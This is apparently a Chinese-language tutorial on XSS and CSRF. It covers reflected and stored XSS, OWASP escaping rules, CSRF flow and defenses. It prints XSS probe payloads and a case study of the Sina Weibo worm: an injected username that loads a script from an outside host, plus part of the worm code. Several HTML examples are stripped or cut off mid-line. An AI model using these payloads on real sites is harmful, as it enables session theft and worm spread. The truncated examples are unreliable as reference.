WEB安全-XSS和CSRF漏洞

名词和概念

XSS -- Cross SiteScripting, 跨站脚本攻击,利用网页漏洞,注入恶意指令代码到网页,使用户加载并执行植入的脚本

Payload -- 攻击代码

CSRF -- Cross—Site Request Forgery,跨站请求伪造,盗用用户身份,发送恶意请求。

XSS原理和分类

反射型XSS

攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。DOM型XSS由于危害较小,我们将其归为反射型XSS。

存储型XSS

代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

举例

Payload举例


'">

'"
alert(1)
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
?type=update

2、使用有道提供的短域名服务(这些网址目前已经“无害”);

例如,通过 http://163.fm/PxZHoxn ,将链接指向:

http://weibo.com/pub/star/g/xyyyd">?type=update

3、当新浪登陆用户不小心访问到相关网页时,由于处于登录状态,会运行这个js脚本做几件事情:

  1. 发微博(让更多的人看到这些消息,自然也就有更多人受害);
  2. 加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
  3. 发私信,给好友发私信传播这些链接

形成

未对用户名做转义处理!!

Echo '这个是xss'
那么当把用户名字设置为xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update的时候,得到了以下代码:

Payload

function createXHR(){
    return window.XMLHttpRequest?
    new XMLHttpRequest():
    new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
    xmlHttp = createXHR();
    xmlHttp.open("GET",url,false);
    xmlHttp.send();
    result = xmlHttp.responseText;
    id_arr = '';
    id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
    for(i=0;i

防御XSS

  • httponly -- 禁止js访问cookie

  • Content Security Policy -- 禁止外部js(可屏蔽运营商广告)

  • 使用自动转义的模版

  • 启用X-XSS-Protection头部

  • 使用现代框架时避免危险的属性:

    框架名 危险方法/属性
    Angular (2+) bypassSecurityTrust
    React dangerouslySetInnerHTML
    Svelte {@html ...}
    Vue (2+) v-html

OWASP的建议

规则0 - 只允许在规则1-规则5的指定位置插入不可信内容



规则1 - 插入内容到HTML结构中的时候需要先转义


...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...


...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
& --> & < --> < > --> > " --> " ' --> ' / --> /

规则2 - 插入不可信内容到HTML的通用属性时,需要做属性值转义

对于通用属性wide, name, value等做属性转义,相对复杂的比如href, src, style不适用该规则。另外对于onmouseover这种,应当遵从规则3针对js值的定义。

具体规则:

  1. 除字母,数字,字符以外,对ASCII值小于256的所有字符使用js编码,即&#xHH进行转义,防止属性值被关闭。不能直接用\转义完事,因为可能会连续执行多个\使得\失效。
  2. 使用属性值的时候最好加上引号,加了引号以后,值的解释只会被同类引号中断,如果没有加引号的话,中断字符包括:空格 % * + , - / ; < = > ^ 和 |.

规则3 - 插入不可信的值到javascript环境下时,只能作为数据值输入并进行js转义。

以下环境需要进行js转义:





而对于以下的环境,即便经过了转义也是危险的,因为很容易被分号,等号,空格,加号等符号中断。



规则3.1 - HTML环境下,对json数据进行html转义,读取数据时使用JSON.parse.

比如,当我们使用以下的代码时:



最好经过json序列化和html实体编码,因为构造的数据再这个时候一般会出错。



// external js file
var dataElement = document.getElementById('init_data');
// decode and parse the content of the div
var initData = JSON.parse(dataElement.textContent);

规则4 - 数据写入css的style属性的时候,需要做css转义和严格的验证

对于需要使用不可信数据作为css时,最好只用来作为属性的值,并且复杂的属性,比如url,behavior或者定制属性如-moz-binding等的时候,最好不要使用不安全的数据。

需要转义的情形包括:





text

否则,可能导致如下的攻击:

{ background-url : "javascript:alert(1)"; }  // and all other URLs
{ text-size: "expression(alert('XSS'))"; }   // only in IE

对于属性值的转义,主要是把ASCII值小于256的非数字,字母的字符用\HH表示。另外如果属性值没有使用引号的话,则可能被空格 % * + , - / ; < = > ^ 和 |等符号中断。

标签也可能被提前关闭,即使是被引号包裹,因为html在js之前解析。

规则5 - 对URL数值做URL编码

除了字母和数字以外,其他字符都用%HH进行编码;禁用data:协议,因为没有好的方式去阻止属性可能被中断。

举例:

String userURL = request.getParameter( "userURL" )
boolean isValidURL = Validator.IsValidURL(userURL, 255); 
if (isValidURL) {  
    link
}

规则6 -- Sanitize HTML Markup with a Library Designed for the Job

规则7 -- 避免使用javascript协议的url

CSRF

跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。

image
  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A; 2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  2. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  3. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  4. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

CSRF常用防御方案

  1. 同源检测,如验证referer
    • http请求可能不携带referer,使用https
    • 隐私模式下不携带referer
  2. csrftoken

FAQ

  • 有没有彻底防御xss/csrf的方法?
  • 使用了Reactjs是否仍然需要防御XSS?
  • 使用实体编码为什么不能解决问题?
  • 为什么是开发者而不是浏览器来处理安全问题?

附录

XSS防御规则

数据类型 环境 代码示例 防御方式
String Html Body UNTRUSTED DATA HTML实体编码
String Safe HTML Attributes 适用规则2,属性白名单的使用HTML实体编码,对background, id, name等进行严格验证
String src或者href属性 clickme